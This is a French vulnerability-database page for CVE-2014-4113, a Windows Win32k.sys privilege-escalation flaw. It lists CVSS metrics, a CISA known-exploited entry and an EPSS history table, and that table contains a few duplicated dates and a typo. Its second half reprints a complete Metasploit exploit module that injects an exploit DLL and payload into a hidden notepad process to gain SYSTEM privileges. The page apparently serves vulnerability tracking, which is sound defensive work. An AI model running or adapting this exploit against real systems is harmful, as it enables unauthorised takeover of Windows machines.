CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
win32k.sys in the kernel-mode drivers in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows local users to gain privileges via a crafted application, as exploited in the wild in October 2014, aka "Win32k.sys Elevation of Privilege Vulnerability."
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
Required
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
134c704f-9b21-4f2e-91b3-4a467353bcc0
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Win32k Privilege Escalation Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-05-03 22h00 +00:00
Action attendue : 2022-05-24 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
5.69%
–
–
2022-04-03
–
–
5.69%
–
–
2022-06-19
–
–
5.69%
–
–
2023-03-12
–
–
–
2.28%
–
2023-12-24
–
–
–
2.28%
–
2024-06-02
–
–
–
2.28%
–
2024-07-07
–
–
–
67.73%
–
2024-12-22
–
–
–
66.75%
–
2025-03-09
–
–
–
74.95%
–
2025-01-19
–
–
–
66.75%
–
2025-03-09
–
–
–
74.95%
–
2025-03-18
–
–
–
–
78.29%
2025-03-18
–
–
–
–
78.29,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2014-10-27 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
'Description' => %q{
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
2008 R2 SP1 64 bits.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez', # msf module (x86 target)
'Spencer McIntyre', # msf module (x64 target)
'OJ Reeves <oj[at]buffered.io>'
],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
# Tested on (32 bits):
# * Windows XP SP3
# * Windows 2003 SP2
# * Windows 7 SP1
# * Windows 2008
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 2008 R2 SP1
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
['CVE', '2014-4113'],
['OSVDB', '113167'],
['BID', '70364'],
['MSB', 'MS14-058'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/']
],
'DisclosureDate' => 'Oct 14 2014',
'DefaultTarget' => 0
}))
end
def check
os = sysinfo["OS"]
if os !~ /windows/i
return Exploit::CheckCode::Unknown
end
if sysinfo["Architecture"] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo["Architecture"] =~ /x86/i
arch = ARCH_X86
end
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
# Neither target suports Windows 8 or 8.1
return Exploit::CheckCode::Safe if build == 9200
return Exploit::CheckCode::Safe if build == 9600
return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
return Exploit::CheckCode::Unknown
end
def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2014-4113.x86.dll'
else
dll_file_name = 'cve-2014-4113.x64.dll'
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end